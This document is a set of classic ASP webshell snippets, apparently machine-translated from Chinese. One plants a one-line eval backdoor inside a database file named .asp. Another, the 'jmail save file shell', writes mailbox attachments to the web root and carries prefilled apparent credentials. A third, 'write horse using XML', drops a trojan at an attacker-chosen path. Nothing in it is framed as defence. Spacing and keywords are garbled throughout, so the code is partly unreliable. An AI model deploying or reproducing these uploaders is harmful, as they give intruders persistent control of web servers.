<%
'Code by netpatch
Dim dbfile, SQL
DB = "netpatch. asp"
Dbfile = server. mappath (db)
Set ydb = server. Createobject ("ADOX. catalog ")
Ydb. Create "provider = Microsoft. Jet. oledb.4.0; Data Source =" & dbfile
Set ydb = nothing
If err. Number = 0 then
Response. Write dbfile & "created successfully <br>"
Else
Response. Write "creation failed, cause:" & err. Description
Response. End
End if
Set conn = server. Createobject ("ADODB. Connection ")
Conn. Open "provider = Microsoft. Jet. oledb.4.0; Data Source =" & dbfile
SQL = "CREATE TABLE fdata ([data] Memo )"
Conn.exe cute (SQL)
Set rs = Createobject ("ADODB. recordset ")
Rs. Open "fdata", Conn, 1, 3
Rs. addnew
RS ("data") = "Please adjust the number of rows before reading them>" '(remember to remove the comment! One-sentence backdoor execute request ("N "))
Rs. Update
%>
Use jmail to write files to the hard disk
<%
'Codz by kevin1986 [s4t]
User = request. Form ("user ")
Pass = request. Form ("pass ")
Popserver = request. Form ("popserver ")
If user <> "" And pass <> "" And popserver <> "" then
Set objmail = Createobject ("jmail. POP3 ")
Objmail. Connect user, pass, popserver
Set objmsg = Createobject ("jmail. Message ")
Set objmsg = objmail. Messages. Item (1)
Separator = ","
Response. Write "attachment name is:" & saveatta & "<br>"
Objmail. Disconnect
End if
Function saveatta ()
Set attachments = objmsg. attachments
Separator = ","
Response. write "the size of this attachment is:" & objmsg. Size & "<br>"
For I = 0 to attachments. Count-1
If I = attachments. Count-1 then
Separator = ""
End if
Set theatta = attachments (I)
Response. Write theatta. Name
Theatta. savetofile (server. mappath (".") & "\" & theatta. Name)
Response. Write "Oh! Hey guy... That's OK! "
Next
End Function
%>
<HTML>
<Head>
<Title> jmail save file shell </title>
</Head>
<Body>
<Center>
<Form method = "Post">
User: <input name = "user" type = text value = "kevin1986"> <br>
Pass: <input name = "pass" type = text value = "1986 lovinghuan"> <br>
POP3: <input name = "popserver" type = text value = "pop.163.com"> <br>
<Input type = submit value = "Get the attachments of the first mail">
</Form>
</Center>
</Body>
</Html>
Write horse using XML
<% on error resume next %>
Trojan content
path
<% response. write "absolute path of this file" %>
<% = server. mappath (request. servervariables ("script_name") %>
<%
dim xmlstring
dim xmldoc
xmlstring = request ("flashboy ")
set xmldoc = server. createobject ("msxml2.domdocument")
xmldoc. loadxml (xmlstring)
F = request ("textfield")
xmldoc. save (f)
set xmldoc = nothing
%>